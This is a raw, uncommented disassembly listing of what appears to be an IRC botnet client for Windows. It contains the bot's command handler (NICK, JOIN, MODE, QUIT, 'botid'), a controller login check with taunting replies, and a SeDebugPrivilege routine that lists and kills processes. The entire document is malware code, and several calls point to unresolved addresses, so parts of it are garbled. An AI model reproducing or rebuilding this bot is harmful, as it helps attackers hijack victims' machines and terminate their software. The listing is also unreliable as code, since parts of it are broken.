pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356F4 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_414880: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356CC jmp loc_4145BD ; --------------------------------------------------------------------------- loc_4148B2: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_41490A mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41490A push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_41490A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_41490A: ; CODE XREF: sub_40EE72+5A62j ; sub_40EE72+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_4356A4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4149AD loc_414997: ; CODE XREF: sub_40EE72+5B39j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 25E041Ch jmp short loc_414997 ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_40EE72+5B23j call near ptr 2630B7Ah nop push eax push offset dword_43565C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BE: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_435634 call sub_40BF6D jmp loc_41452A ; --------------------------------------------------------------------------- loc_4149DE: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A38 push offset dword_435630 push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3E ; --------------------------------------------------------------------------- loc_414A38: ; CODE XREF: sub_40EE72+5BAAj mov [ebp+var_46C], ebx loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j lea eax, [ebp+var_2DC] push offset dword_435604 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC7 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414AA8 loc_414A96: ; CODE XREF: sub_40EE72+5C34j cmp [ebp+var_460], ebx jnz short loc_414AC3 push 32h nop call near ptr 25E041Ch jmp short loc_414A96 ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_40EE72+5C22j call near ptr 2630B7Ah nop push eax push offset dword_4355BC loc_414AB4: ; CODE XREF: sub_40EE72+489Fj ; sub_40EE72+49BBj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414AC3: ; CODE XREF: sub_40EE72+4529j ; sub_40EE72+4541j ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotid ; "botid" push offset dword_435594 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADB: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_489C50 call sub_40B721 pop ecx push eax push offset dword_435558 loc_414AED: ; CODE XREF: sub_40EE72+5C67j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4C cmp [ebp+var_C], ebx jz short loc_414B5B push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B5B ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j ; sub_40EE72+5CC5j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_435508 call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4354C8 call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF6 ; --------------------------------------------------------------------------- loc_414BBB: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_4354B8 push offset dword_4354AC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_4354A0 push offset dword_435490 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BEB: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C0A push edi call sub_41781F test eax, eax pop ecx jz short loc_414C0A push edi call sub_41781F pop ecx jmp short loc_414C0F ; --------------------------------------------------------------------------- loc_414C0A: ; CODE XREF: sub_40EE72+5D82j ; sub_40EE72+5D8Dj mov eax, dword_42F5A8 loc_414C0F: ; CODE XREF: sub_40EE72+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C34 push esi loc_414C21: ; CODE XREF: sub_40EE72+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C4B ; --------------------------------------------------------------------------- loc_414C34: ; CODE XREF: sub_40EE72+5DACj cmp [ebp+var_9C7], bl jz short loc_414C45 lea eax, [ebp+var_D8] push eax jmp short loc_414C21 ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_40EE72+5DC8j mov [ebp+var_488], bl loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414CFC loc_414CE6: ; CODE XREF: sub_40EE72+5E88j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h call near ptr 25E041Ch nop jmp short loc_414CE6 ; --------------------------------------------------------------------------- loc_414CFC: ; CODE XREF: sub_40EE72+5E72j nop call near ptr 2630B7Ah push eax push offset unk_435448 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0D: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D35 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3F loc_414D35: ; CODE XREF: sub_40EE72+5EAAj mov [ebp+var_46C], 1 loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D86 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj push eax push offset dword_4353FC lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F28 push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414DF6 loc_414DE4: ; CODE XREF: sub_40EE72+5F82j cmp [ebp+var_460], ebx jnz short loc_414E11 push 32h nop call near ptr 25E041Ch jmp short loc_414DE4 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_40EE72+5F70j call near ptr 2630B7Ah nop push eax push offset unk_4353B0 loc_414E02: ; CODE XREF: sub_40EE72+3DA7j ; sub_40EE72+4AC3j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414E11: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+395Bj ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_435390 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E91 push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E86 cmp eax, 2 jge short loc_414E86 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E7B lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_438738 push eax call sub_4172B0 add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j push eax push offset dword_435354 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E86: ; CODE XREF: sub_40EE72+5FD3j ; sub_40EE72+5FD8j push eax push offset dword_435318 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_40EE72+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_414E96: ; CODE XREF: sub_40EE72+6040j push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB9 inc esi add edi, 80h cmp esi, 2 jl short loc_414E96 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_40EE72+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_438738 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED3: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F47 call sub_416F25 push ebx nop call near ptr 77E75CB5h loc_414EF5: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415D01 add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_4352E4 loc_414F40: ; CODE XREF: sub_40EE72+4346j ; sub_40EE72+49D9j ... call sub_40BFE1 pop ecx loc_414F46: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F47: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4F: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_4387B4 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_43C824 push ebx inc esi call sub_418B6E push offset asc_4352E0 ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEE lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_435258 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEE: ; CODE XREF: sub_40EE72+6138j mov [ebp+arg_24], offset off_42F6C4 loc_414FF5: ; CODE XREF: sub_40EE72+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_415055 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6C8 jb short loc_414FF5 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_43521C jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_40EE72+6192j mov edi, [ebp+arg_18] xor esi, esi loc_41505A: ; CODE XREF: sub_40EE72+6212j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_41507A push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41508B loc_41507A: ; CODE XREF: sub_40EE72+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_41505A jmp loc_40F239 ; --------------------------------------------------------------------------- loc_41508B: ; CODE XREF: sub_40EE72+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C2 push ebx push [ebp+var_4] push offset dword_4351F0 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C2: ; CODE XREF: sub_40EE72+6234j lea eax, [ebp+var_D8] push eax push offset dword_4351C0 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D3: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_489DCC, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511F proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2760DCAh push eax call dword_43F64C test eax, eax jnz short loc_41513E leave retn ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_41511F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43F624 test eax, eax jz short loc_41517C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415165 or [ebp+var_8], 2 jmp short loc_415169 ; --------------------------------------------------------------------------- loc_415165: ; CODE XREF: sub_41511F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415169: ; CODE XREF: sub_41511F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43F6D4 mov esi, eax loc_41517C: ; CODE XREF: sub_41511F+32j push [ebp+var_4] call near ptr 2610978h nop mov eax, esi pop esi leave retn sub_41511F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518A proc near ; CODE XREF: sub_40EE72+4B68p ; sub_41533B+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43F688, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415334 cmp dword_43F66C, ebx jz loc_415334 cmp dword_43F588, ebx jz loc_415334 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push ebx push 0Fh call dword_43F688 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415327 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43F66C mov esi, dword_424078 test eax, eax jz loc_415322 loc_41522D: ; CODE XREF: sub_41518A+BEj ; sub_41518A+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43F588 test eax, eax jz loc_415322 cmp [ebp+arg_10], ebx jnz short loc_41522D cmp [ebp+arg_C], ebx jnz loc_4152DA cmp [ebp+arg_4], ebx jz short loc_41522D push [ebp+var_124] push 8 call dword_43F688 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415297 lea eax, [ebp+var_350] push eax push edi call dword_43F534 push [ebp+var_124] test eax, eax jz short loc_41529D lea eax, [ebp+var_230] jmp short loc_4152A3 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_41518A+EBj push [ebp+var_124] loc_41529D: ; CODE XREF: sub_41518A+103j lea eax, [ebp+var_108] loc_4152A3: ; CODE XREF: sub_41518A+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522D ; --------------------------------------------------------------------------- loc_4152DA: ; CODE XREF: sub_41518A+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522D push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 2700871h push [ebp+var_4] mov edi, eax call esi push ebx push edi call near ptr 27B0BA2h nop test eax, eax jnz short loc_41531D push edi call esi jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41531D: ; CODE XREF: sub_41518A+18Cj push 1 pop eax jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415322: ; CODE XREF: sub_41518A+9Dj ; sub_41518A+B5j push [ebp+var_4] call esi loc_415327: ; CODE XREF: sub_41518A+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx loc_415334: ; CODE XREF: sub_41518A+3Aj ; sub_41518A+46j ... xor eax, eax loc_415336: ; CODE XREF: sub_41518A+196j pop edi pop esi pop ebx leave retn sub_41518A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41533B proc near ; DATA XREF: sub_40EE72+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_438838 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41539A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_41539A: ; CODE XREF: sub_41533B+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41518A add esp, 18h test eax, eax jnz short loc_4153C2 push offset unk_438800 jmp short loc_4153C7 ; --------------------------------------------------------------------------- loc_4153C2: ; CODE XREF: sub_41533B+7Ej push offset unk_4387C8 loc_4153C7: ; CODE XREF: sub_41533B+85j lea eax, [ebp+var_298] push eax call sub_4172B0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153FA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153FA: ; CODE XREF: sub_41533B+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h pop edi pop esi sub_41533B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415419 proc near ; CODE XREF: sub_40EE72+4B0Ap ; sub_416E97+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 2700871h nop mov esi, eax test esi, esi jz short loc_41544B push 0 push esi call near ptr 27B0BA2h nop test eax, eax jnz short loc_41544B push esi xor edi, edi call near ptr 2610978h nop loc_41544B: ; CODE XREF: sub_415419+1Aj ; sub_415419+27j mov eax, edi pop edi pop esi retn sub_415419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415450 proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_415450 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4450CC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43F650 test eax, eax jnz short loc_415504 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417078 pop ecx push edi call near ptr 25D0362h nop loc_415504: ; CODE XREF: ___:004154EAj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43F680 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415685 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43F5C4 test eax, eax jz short loc_41557D call dword_43F5FC push eax push offset dword_43892C call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push edi nop call near ptr 25D0362h loc_41557D: ; CODE XREF: ___:00415558j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43F620 cmp eax, edi jnz short loc_4155A7 push dword ptr [ebp-18h] call dword_43F6F4 push eax lea eax, [ebp-0B0h] push eax call sub_4172B0 jmp short loc_4155B5 ; --------------------------------------------------------------------------- loc_4155A7: ; CODE XREF: ___:0041558Dj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B5: ; CODE XREF: ___:004155A5j pop ecx pop ecx push edi push ebx push offset byte_43C80C push dword ptr [esi] call dword_43F6B8 cmp dword_489DDC, edi jnz short loc_415617 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DF add esp, 10h test eax, eax jnz short loc_415617 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417078 pop ecx push edi call near ptr 25D0362h nop loc_415617: ; CODE XREF: ___:004155CCj ; ___:004155EDj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_4388E0 call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C6 add esp, 10h test eax, eax jnz short loc_41565E call near ptr 2630B7Ah nop push eax push offset dword_4388A4 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push ebx nop call near ptr 25D0362h loc_41565E: ; CODE XREF: ___:00415639j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_43886C call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 10h push edi nop call near ptr 25D0362h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415685 proc near ; CODE XREF: ___:0041551Ap ; ___:00415527p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jnz short loc_4156D5 mov esi, [ebp+arg_4] loc_4156A3: ; CODE XREF: sub_415685+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156CA test al, al jz short loc_4156D9 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jz short loc_4156A3 jmp short loc_4156D5 ; --------------------------------------------------------------------------- loc_4156CA: ; CODE XREF: sub_415685+27j push offset dword_438968 call sub_40BFE1 pop ecx loc_4156D5: ; CODE XREF: sub_415685+19j ; sub_415685+43j xor eax, eax jmp short loc_4156DC ; --------------------------------------------------------------------------- loc_4156D9: ; CODE XREF: sub_415685+2Bj push 1 pop eax loc_4156DC: ; CODE XREF: sub_415685+52j pop esi leave retn sub_415685 endp ; =============== S U B R O U T I N E ======================================= sub_4156DF proc near ; CODE XREF: ___:004155E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41570A push [esp+arg_4] push [esp+4+arg_0] push offset 